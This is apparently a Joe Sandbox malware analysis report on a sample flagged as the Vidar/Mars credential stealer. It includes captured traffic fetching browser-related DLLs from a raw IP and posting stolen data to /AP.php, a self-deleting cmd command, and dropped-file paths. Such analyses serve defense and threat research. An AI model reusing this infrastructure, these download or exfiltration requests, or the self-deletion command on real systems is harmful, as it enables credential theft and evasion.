Aug 24, 2024 11:51:57.660777092 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:51:57 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "217d0-6200e4e840d08" Accept-Ranges: bytes Content-Length: 137168 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8d c2 55 b1 c9 a3 3b e2 c9 a3 3b e2 c9 a3 3b e2 c0 db a8 e2 d9 a3 3b e2 57 03 fc e2 cb a3 3b e2 10 c1 38 e3 c7 a3 3b e2 10 c1 3f e3 c2 a3 3b e2 10 c1 3a e3 cd a3 3b e2 10 c1 3e e3 db a3 3b e2 eb c3 3a e3 c0 a3 3b e2 c9 a3 3a e2 77 a3 3b e2 02 c0 3f e3 c8 a3 3b e2 02 c0 3e e3 dd a3 3b e2 02 c0 3b e3 c8 a3 3b e2 02 c0 c4 e2 c8 a3 3b e2 02 c0 39 e3 c8 a3 3b e2 52 69 63 68 c9 a3 3b e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c4 5f eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 7a 01 00 00 86 00 00 00 00 00 00 e0 82 01 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$U;;;;W;8;?;:;>;:;:w;?;>;;;;9;Rich;PEL_["!z@3@A@t, x0hTTh@l.textxz `.rdata^ef~@@.data@.didat8@.rsrcx @@.reloch0@B
Aug 24, 2024 11:51:57.682969093 CEST	123	OUT	GET /msvcp140.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Aug 24, 2024 11:51:57.850698948 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:51:57 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "6b738-6200e4e857852" Accept-Ranges: bytes Content-Length: 440120 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a6 c8 bc 41 e2 a9 d2 12 e2 a9 d2 12 e2 a9 d2 12 56 35 3d 12 e0 a9 d2 12 eb d1 41 12 fa a9 d2 12 3b cb d3 13 e1 a9 d2 12 e2 a9 d3 12 22 a9 d2 12 3b cb d1 13 eb a9 d2 12 3b cb d6 13 ee a9 d2 12 3b cb d7 13 f4 a9 d2 12 3b cb da 13 95 a9 d2 12 3b cb d2 13 e3 a9 d2 12 3b cb 2d 12 e3 a9 d2 12 3b cb d0 13 e3 a9 d2 12 52 69 63 68 e2 a9 d2 12 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 16 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 04 06 00 00 82 00 00 00 00 00 00 50 b1 03 00 00 10 00 00 00 20 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 61 7a [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$AV5=A;";;;;;;-;RichPEL8'Y"!P az@ACR,x8?4:f8(@P@@.textr `.data( @.idata6P @@.didat4p6@.rsrc8@@.reloc4:<<@B
Aug 24, 2024 11:51:58.165534973 CEST	119	OUT	GET /nss3.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Aug 24, 2024 11:51:58.334028959 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:51:58 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "1303d0-6200e4e85fd23" Accept-Ranges: bytes Content-Length: 1246160 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 83 34 8c 67 e2 5a df 67 e2 5a df 67 e2 5a df 6e 9a c9 df 73 e2 5a df be 80 5b de 65 e2 5a df f9 42 9d df 63 e2 5a df be 80 59 de 6a e2 5a df be 80 5f de 6d e2 5a df be 80 5e de 6c e2 5a df 45 82 5b de 6f e2 5a df ac 81 5b de 64 e2 5a df 67 e2 5b df 90 e2 5a df ac 81 5e de 6d e3 5a df ac 81 5a de 66 e2 5a df ac 81 a5 df 66 e2 5a df ac 81 58 de 66 e2 5a df 52 69 63 68 67 e2 5a df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 0e 00 00 1e 04 00 00 00 00 00 77 f0 0e 00 00 10 00 00 00 00 0f 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$#4gZgZgZnsZ[eZBcZYjZ_mZ^lZE[oZ[dZg[Z^mZZfZfZXfZRichgZPELb["!w@@=Tp}pT@.text `.rdataRT@@.datatG`"B@.rsrcpd@@.reloc}~h@B
Aug 24, 2024 11:51:59.417715073 CEST	123	OUT	GET /softokn3.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Aug 24, 2024 11:51:59.585134983 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:51:59 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "235d0-6200e4e86cc2d" Accept-Ranges: bytes Content-Length: 144848 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 6c 24 1c e6 0d 4a 4f e6 0d 4a 4f e6 0d 4a 4f ef 75 d9 4f ea 0d 4a 4f 3f 6f 4b 4e e4 0d 4a 4f 3f 6f 49 4e e4 0d 4a 4f 3f 6f 4f 4e ec 0d 4a 4f 3f 6f 4e 4e ed 0d 4a 4f c4 6d 4b 4e e4 0d 4a 4f 2d 6e 4b 4e e5 0d 4a 4f e6 0d 4b 4f 7e 0d 4a 4f 2d 6e 4e 4e f2 0d 4a 4f 2d 6e 4a 4e e7 0d 4a 4f 2d 6e b5 4f e7 0d 4a 4f 2d 6e 48 4e e7 0d 4a 4f 52 69 63 68 e6 0d 4a 4f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bf 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 b6 01 00 00 62 00 00 00 00 00 00 97 bc 01 00 00 10 00 00 00 d0 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 50 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$l$JOJOJOuOJO?oKNJO?oINJO?oONJO?oNNJOmKNJO-nKNJOKO~JO-nNNJO-nJNJO-nOJO-nHNJORichJOPELb["!bP@0x@`T(@l.text `.rdataDF@@.data @.rsrcx0@@.reloc`@@B
Aug 24, 2024 11:51:59.693010092 CEST	127	OUT	GET /vcruntime140.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Aug 24, 2024 11:51:59.862507105 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:51:59 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "14748-6200e4e8856b7" Accept-Ranges: bytes Content-Length: 83784 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 f9 a3 4e 45 98 cd 1d 45 98 cd 1d 45 98 cd 1d f1 04 22 1d 47 98 cd 1d 4c e0 5e 1d 4e 98 cd 1d 45 98 cc 1d 6c 98 cd 1d 9c fa c9 1c 55 98 cd 1d 9c fa ce 1c 56 98 cd 1d 9c fa c8 1c 41 98 cd 1d 9c fa c5 1c 5f 98 cd 1d 9c fa cd 1c 44 98 cd 1d 9c fa 32 1d 44 98 cd 1d 9c fa cf 1c 44 98 cd 1d 52 69 63 68 45 98 cd 1d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0c 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 00 00 00 20 00 00 00 00 00 00 00 ae 00 00 00 10 00 00 00 00 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 bc 11 02 00 03 00 40 41 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$NEEE"GL^NElUVA_D2DDRichEPEL8'Y"! @@A H?08@.text `.dataD@.idata@@.rsrc @@.reloc0@B
Aug 24, 2024 11:52:00.197386026 CEST	231	OUT	POST /AP.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GVA1VKFU3EKF3E37 Host: 104.194.151.11 Content-Length: 98756 Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Aug 24, 2024 11:52:00.613619089 CEST	312	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:52:00 GMT Server: Apache/2.4.58 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	05:51:52
Start date:	24/08/2024
Path:	C:\Users\user\Desktop\8BQ2v9glrG.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\8BQ2v9glrG.exe"
Imagebase:	0x7ff7bdfd0000
File size:	464'872 bytes
MD5 hash:	1ACC4C16687D848711A9980E6AE72E50
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:51:53
Start date:	24/08/2024
Path:	C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe"
Imagebase:	0x400000
File size:	110'080 bytes
MD5 hash:	52E9F55D274E2EE01959FE2D8297A927
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.1699006195.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000001.00000002.1699006195.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: Windows_Trojan_ArkeiStealer_84c7086a, Description: unknown, Source: 00000001.00000002.1699006195.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs Detection: 71%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:51:59
Start date:	24/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:51:59
Start date:	24/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:51:59
Start date:	24/08/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 5
Imagebase:	0xec0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 8BQ2v9glrG.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

C:\ProgramData\softokn3.dll

C:\ProgramData\sqlite3.dll

C:\ProgramData\vcruntime140.dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlite3[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll

C:\Users\user\AppData\Local\Temp\RarSFX0\0ZC2DBS0

Windows Analysis Report
8BQ2v9glrG.exe